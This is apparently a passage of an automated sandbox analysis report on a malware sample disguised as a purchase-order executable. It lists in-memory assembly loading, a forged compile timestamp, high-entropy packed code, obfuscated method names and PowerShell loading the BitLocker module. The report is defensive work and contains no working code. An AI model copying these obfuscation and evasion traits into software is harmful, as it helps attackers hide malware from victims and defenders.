Source: 0.2.PURCHASE ORDER-6350-2024.exe.5620000.5.raw.unpack, RZ.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.PURCHASE ORDER-6350-2024.exe.2aa1a98.0.raw.unpack, RZ.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: 0xC32C0DAC [Thu Oct 5 15:50:04 2073 UTC]

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DCD801 push es; ret	0_2_06DCD810
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DD5648 pushfd ; iretd	0_2_06DD56F9
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DD56F0 pushfd ; iretd	0_2_06DD56F9
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DDAE19 push eax; mov dword ptr [esp], edx	0_2_06DDAE2C
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DD5638 pushad ; iretd	0_2_06DD5639
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DDCE30 push es; ret	0_2_06DDCE40
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06E1DE48 push esp; ret	0_2_06E1DE49
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 6_2_0136F850 push es; ret	6_2_0136F860

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: section name: .text entropy: 7.717897542519251

Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, L53jeqg7TU3usVYAQC.cs	High entropy of concatenated method names: 'av804Aq3dO', 'oPg0wsWmXc', 'iPh0inMgrG', 'm1H0BefjKc', 'veG0PnOHnK', 'ui20oeRsF6', 'jAH0vZC1xq', 'z5X0KWhxlE', 'f9M0uFZKDq', 'WpK0f30Yv6'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, s9YxdXpYvmj4sEtJwg.cs	High entropy of concatenated method names: 'HO1ZX0dFDv', 'i3BZ8prWVg', 'ToString', 'sRxZgSgPOe', 'lDJZjGiZuG', 'HgbZT43KMJ', 'zoWZbveHwY', 'KB1Zd2KZID', 'suQZOy0gHX', 'LgEZlEQ9U9'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, z8V6tSE9Kmk8VtHnQ3.cs	High entropy of concatenated method names: 'L5CdGnTvgO', 'B1qdjTHB0f', 'StGdb5CFl1', 'QTXdOyGcHV', 'Mbhdl9RtXq', 'MQebHF3Tss', 'RcAbsdgysV', 'yS1bLCMrSG', 'DL2ba6jfn3', 'QGdbCskcGG'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, F4KCalNgCf4yJJMxmi.cs	High entropy of concatenated method names: 'Dispose', 'twNcCypQt4', 'DafxBWJaWx', 'gPi77gulml', 'kHgcUuYmp0', 'BheczKE4aY', 'ProcessDialogKey', 'eaLxhP8s10', 'CnSxcYmxpC', 'bX5xxYUGmi'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, vP9haJacLPGwS8wXSo.cs	High entropy of concatenated method names: 'gPCOWRWtVk', 'lfgOrK9oJr', 'UIUOtL9dVg', 'LSmORlUOtj', 'wv7OVqjviB', 'CxQO6fGhUr', 'FeDOnNu062', 'fxsO4sQulE', 'bV8OwM5HIx', 'vbSOQiEOCC'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, IScEM5lWVrKlhRvUrx.cs	High entropy of concatenated method names: 'f8ScOHvsyX', 'CQMclHI8US', 'BGhcXUt12V', 'dBGc8wZ9V0', 'CvlcIcyqrA', 'dAucSPgoaM', 'TG85DLHDcuKtyVNtsE', 'vcZjHFlUJjecPQw7Qr', 'LQRccxpRSx', 'YE8c2pOpqN'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, kl5mmcflXMc65HWBwM.cs	High entropy of concatenated method names: 'z43ZaJ9ICd', 'MLqZUQGiTl', 'JTXyhUBsFF', 'g6YycB8J3W', 'yXQZfcO3pM', 'A2qZ9ylxBL', 'ueCZYEwZQV', 'qn0Z5nTE3R', 'LyLZe0C7Vu', 'C0fZJQkGX6'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, xjSqLJKLfArB0tpMCnq.cs	High entropy of concatenated method names: 'nmiDW2nTaS', 'sfiDrJEhwQ', 'Cn1DthvMD1', 'z6MDR33YNZ', 'EEyDVEGbo9', 'fKvD6tbi1S', 'Q4LDnVd7yr', 'O4ID4ancvc', 'FyIDwTOQrS', 'bfhDQjVN2v'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, FW07bIZxXrtNgWto45.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'M28xCk1chl', 'bqNxUJi5cj', 'WJJxzwRgaO', 'MbB2hbb01E', 'MkL2cbxg9c', 'D0o2x1DIOM', 'fd322XZAgl', 'UEtABwVANYrG79ytDCI'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, P3KWcgP03CKVL94tw3.cs	High entropy of concatenated method names: 'Ma7j5hJYxa', 'bg4jepGRwo', 'VJ3jJK1Tbv', 'cc2jMjpa1G', 'sI5jHbrttL', 'in9jsEXufZ', 'FdujLiQkKU', 'TsAja8hst3', 'JuTjCad4G4', 'HyFjUQAgur'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, gvDY8QB1YMmf2dncZA.cs	High entropy of concatenated method names: 'rmiTRqpWBA', 'bGQT6mDjw3', 'eAyT4lQquh', 't1dTw5SkW6', 'zSDTIv1EhE', 'mdMTSeNe5W', 'BVATZi9YXr', 'XseTyWURLl', 'yXrTD1SkeZ', 'K7KTFgtkVF'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, RgwcvmFYWkp0fMVSiK.cs	High entropy of concatenated method names: 's6Kygo7qZR', 'mPtyjV46c6', 'PgkyThw5Ku', 'CXEybHToy7', 'OkUydA6wws', 'nL5yOCChpk', 'lSOylIrOLn', 'J6Ayqx2RFb', 'rwcyXaT6yK', 'oI1y85gqsv'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, cmsXDtyGVO5FOEpadW.cs	High entropy of concatenated method names: 'efLDco7jCA', 'wZgD2xnuvK', 'P1QDNg6tUW', 'hF1DgYAUUC', 'wheDjVOWMF', 'YEBDb14kGl', 'oOODdaG1rr', 'vDMyL5MDrG', 'tG9yaiGFEV', 'FUxyC7dEp3'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, kBPjPwzFF5lF1uwwqm.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'b5AD06pxfl', 'dIfDIWQacJ', 'slDDSSAeEk', 'BhIDZNXPn3', 'TyiDy3dtBm', 'NodDDhcuZe', 'vqfDFF7Mel'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, ImIW4rKwf6tqNiiWNR3.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'c0xF5Pr4bY', 'cqkFeDi4OX', 'bPBFJvpMuD', 'mpOFMkQjyO', 'moiFH6fUNQ', 'c3YFsfO2uY', 'ECOFLOpiyw'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, iv04pT1Nje59B37HvY.cs	High entropy of concatenated method names: 'ImZ2Gx7xyZ', 'RqZ2gZFOMD', 'BjJ2jWuEDe', 'NG62TlLE7c', 'tEJ2b8N6le', 'tQu2drm0Ru', 'SIA2OPIVdm', 'Ekw2l5WILM', 'vle2qHvAuh', 'ziC2Xod8tV'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, l8ftM6oDY7WIIMNLOd.cs	High entropy of concatenated method names: 'C18bVSpGsQ', 'CNObnY7IF2', 'tC7Tm9QOhW', 'fnkTPZsumm', 'z4eToIHZWL', 'e4STAwWcnm', 'DovTvBY7nj', 'a80TKIynWT', 'gaLTppPsyK', 'mROTugtnN8'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, dyrVmPctQktPSrtNdw.cs	High entropy of concatenated method names: 'nXmOgoV2AG', 's4KOTERE7X', 'GLIOdu3IKS', 'qhCdUwvk9e', 'L7jdzOspfT', 'JbbOhtbYGT', 'TofOcBy4yc', 'D9SOx8X0D6', 'F23O21R0Qg', 'BWtONPaY0P'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, l2sJYh5K0ZNHRqvmDU.cs	High entropy of concatenated method names: 'e5vtvaU5e', 'L4qRU9qOW', 'flx6D0bih', 'B0GnhQH2d', 'g19wjoHRy', 'NGKQs9iho', 'N7eC3GKT6wBmVGvXic', 'a77CdxkuZemMFuw3Hk', 'nvQyVgcJY', 'KStFRUg8A'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, Qrig4VQZJw0SmAOp59.cs	High entropy of concatenated method names: 'be1Iuvnh8E', 'ki1I95fAFH', 'Q2xI5IFFIN', 'gnCIeRwoYG', 'WGFIBrbBjn', 'dXvImN6VJC', 'GfsIPFS2SZ', 'IN2IoimUxq', 'KoLIAwrg6T', 'ejEIv7tweD'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, icguhxMxu9hdKnfBif.cs	High entropy of concatenated method names: 'ToString', 'VirSfDdAFk', 'oviSBXFtS6', 'QMJSm4r73L', 'dGmSPc4qsg', 'QdJSocZdGy', 'JjmSA5PvlP', 'KYqSv6E8ty', 'x3iSKgsbe7', 'tQTSpEWubK'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, No5wVbGi2FjI1MyTZU.cs	High entropy of concatenated method names: 'vWsyiU9gdh', 'AypyB9b2Hq', 'nAgymChUpO', 'dE2yP4wQxG', 'eR2y5v2Jvn', 'MVRyoNRU0u', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, L53jeqg7TU3usVYAQC.cs	High entropy of concatenated method names: 'av804Aq3dO', 'oPg0wsWmXc', 'iPh0inMgrG', 'm1H0BefjKc', 'veG0PnOHnK', 'ui20oeRsF6', 'jAH0vZC1xq', 'z5X0KWhxlE', 'f9M0uFZKDq', 'WpK0f30Yv6'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, s9YxdXpYvmj4sEtJwg.cs	High entropy of concatenated method names: 'HO1ZX0dFDv', 'i3BZ8prWVg', 'ToString', 'sRxZgSgPOe', 'lDJZjGiZuG', 'HgbZT43KMJ', 'zoWZbveHwY', 'KB1Zd2KZID', 'suQZOy0gHX', 'LgEZlEQ9U9'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, z8V6tSE9Kmk8VtHnQ3.cs	High entropy of concatenated method names: 'L5CdGnTvgO', 'B1qdjTHB0f', 'StGdb5CFl1', 'QTXdOyGcHV', 'Mbhdl9RtXq', 'MQebHF3Tss', 'RcAbsdgysV', 'yS1bLCMrSG', 'DL2ba6jfn3', 'QGdbCskcGG'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, F4KCalNgCf4yJJMxmi.cs	High entropy of concatenated method names: 'Dispose', 'twNcCypQt4', 'DafxBWJaWx', 'gPi77gulml', 'kHgcUuYmp0', 'BheczKE4aY', 'ProcessDialogKey', 'eaLxhP8s10', 'CnSxcYmxpC', 'bX5xxYUGmi'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, vP9haJacLPGwS8wXSo.cs	High entropy of concatenated method names: 'gPCOWRWtVk', 'lfgOrK9oJr', 'UIUOtL9dVg', 'LSmORlUOtj', 'wv7OVqjviB', 'CxQO6fGhUr', 'FeDOnNu062', 'fxsO4sQulE', 'bV8OwM5HIx', 'vbSOQiEOCC'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, IScEM5lWVrKlhRvUrx.cs	High entropy of concatenated method names: 'f8ScOHvsyX', 'CQMclHI8US', 'BGhcXUt12V', 'dBGc8wZ9V0', 'CvlcIcyqrA', 'dAucSPgoaM', 'TG85DLHDcuKtyVNtsE', 'vcZjHFlUJjecPQw7Qr', 'LQRccxpRSx', 'YE8c2pOpqN'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, kl5mmcflXMc65HWBwM.cs	High entropy of concatenated method names: 'z43ZaJ9ICd', 'MLqZUQGiTl', 'JTXyhUBsFF', 'g6YycB8J3W', 'yXQZfcO3pM', 'A2qZ9ylxBL', 'ueCZYEwZQV', 'qn0Z5nTE3R', 'LyLZe0C7Vu', 'C0fZJQkGX6'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, xjSqLJKLfArB0tpMCnq.cs	High entropy of concatenated method names: 'nmiDW2nTaS', 'sfiDrJEhwQ', 'Cn1DthvMD1', 'z6MDR33YNZ', 'EEyDVEGbo9', 'fKvD6tbi1S', 'Q4LDnVd7yr', 'O4ID4ancvc', 'FyIDwTOQrS', 'bfhDQjVN2v'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, FW07bIZxXrtNgWto45.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'M28xCk1chl', 'bqNxUJi5cj', 'WJJxzwRgaO', 'MbB2hbb01E', 'MkL2cbxg9c', 'D0o2x1DIOM', 'fd322XZAgl', 'UEtABwVANYrG79ytDCI'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, P3KWcgP03CKVL94tw3.cs	High entropy of concatenated method names: 'Ma7j5hJYxa', 'bg4jepGRwo', 'VJ3jJK1Tbv', 'cc2jMjpa1G', 'sI5jHbrttL', 'in9jsEXufZ', 'FdujLiQkKU', 'TsAja8hst3', 'JuTjCad4G4', 'HyFjUQAgur'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, gvDY8QB1YMmf2dncZA.cs	High entropy of concatenated method names: 'rmiTRqpWBA', 'bGQT6mDjw3', 'eAyT4lQquh', 't1dTw5SkW6', 'zSDTIv1EhE', 'mdMTSeNe5W', 'BVATZi9YXr', 'XseTyWURLl', 'yXrTD1SkeZ', 'K7KTFgtkVF'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, RgwcvmFYWkp0fMVSiK.cs	High entropy of concatenated method names: 's6Kygo7qZR', 'mPtyjV46c6', 'PgkyThw5Ku', 'CXEybHToy7', 'OkUydA6wws', 'nL5yOCChpk', 'lSOylIrOLn', 'J6Ayqx2RFb', 'rwcyXaT6yK', 'oI1y85gqsv'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, cmsXDtyGVO5FOEpadW.cs	High entropy of concatenated method names: 'efLDco7jCA', 'wZgD2xnuvK', 'P1QDNg6tUW', 'hF1DgYAUUC', 'wheDjVOWMF', 'YEBDb14kGl', 'oOODdaG1rr', 'vDMyL5MDrG', 'tG9yaiGFEV', 'FUxyC7dEp3'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, kBPjPwzFF5lF1uwwqm.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'b5AD06pxfl', 'dIfDIWQacJ', 'slDDSSAeEk', 'BhIDZNXPn3', 'TyiDy3dtBm', 'NodDDhcuZe', 'vqfDFF7Mel'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, ImIW4rKwf6tqNiiWNR3.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'c0xF5Pr4bY', 'cqkFeDi4OX', 'bPBFJvpMuD', 'mpOFMkQjyO', 'moiFH6fUNQ', 'c3YFsfO2uY', 'ECOFLOpiyw'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, iv04pT1Nje59B37HvY.cs	High entropy of concatenated method names: 'ImZ2Gx7xyZ', 'RqZ2gZFOMD', 'BjJ2jWuEDe', 'NG62TlLE7c', 'tEJ2b8N6le', 'tQu2drm0Ru', 'SIA2OPIVdm', 'Ekw2l5WILM', 'vle2qHvAuh', 'ziC2Xod8tV'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, l8ftM6oDY7WIIMNLOd.cs	High entropy of concatenated method names: 'C18bVSpGsQ', 'CNObnY7IF2', 'tC7Tm9QOhW', 'fnkTPZsumm', 'z4eToIHZWL', 'e4STAwWcnm', 'DovTvBY7nj', 'a80TKIynWT', 'gaLTppPsyK', 'mROTugtnN8'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, dyrVmPctQktPSrtNdw.cs	High entropy of concatenated method names: 'nXmOgoV2AG', 's4KOTERE7X', 'GLIOdu3IKS', 'qhCdUwvk9e', 'L7jdzOspfT', 'JbbOhtbYGT', 'TofOcBy4yc', 'D9SOx8X0D6', 'F23O21R0Qg', 'BWtONPaY0P'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, l2sJYh5K0ZNHRqvmDU.cs	High entropy of concatenated method names: 'e5vtvaU5e', 'L4qRU9qOW', 'flx6D0bih', 'B0GnhQH2d', 'g19wjoHRy', 'NGKQs9iho', 'N7eC3GKT6wBmVGvXic', 'a77CdxkuZemMFuw3Hk', 'nvQyVgcJY', 'KStFRUg8A'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, Qrig4VQZJw0SmAOp59.cs	High entropy of concatenated method names: 'be1Iuvnh8E', 'ki1I95fAFH', 'Q2xI5IFFIN', 'gnCIeRwoYG', 'WGFIBrbBjn', 'dXvImN6VJC', 'GfsIPFS2SZ', 'IN2IoimUxq', 'KoLIAwrg6T', 'ejEIv7tweD'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, icguhxMxu9hdKnfBif.cs	High entropy of concatenated method names: 'ToString', 'VirSfDdAFk', 'oviSBXFtS6', 'QMJSm4r73L', 'dGmSPc4qsg', 'QdJSocZdGy', 'JjmSA5PvlP', 'KYqSv6E8ty', 'x3iSKgsbe7', 'tQTSpEWubK'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, No5wVbGi2FjI1MyTZU.cs	High entropy of concatenated method names: 'vWsyiU9gdh', 'AypyB9b2Hq', 'nAgymChUpO', 'dE2yP4wQxG', 'eR2y5v2Jvn', 'MVRyoNRU0u', 'Next', 'Next', 'Next', 'NextBytes'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
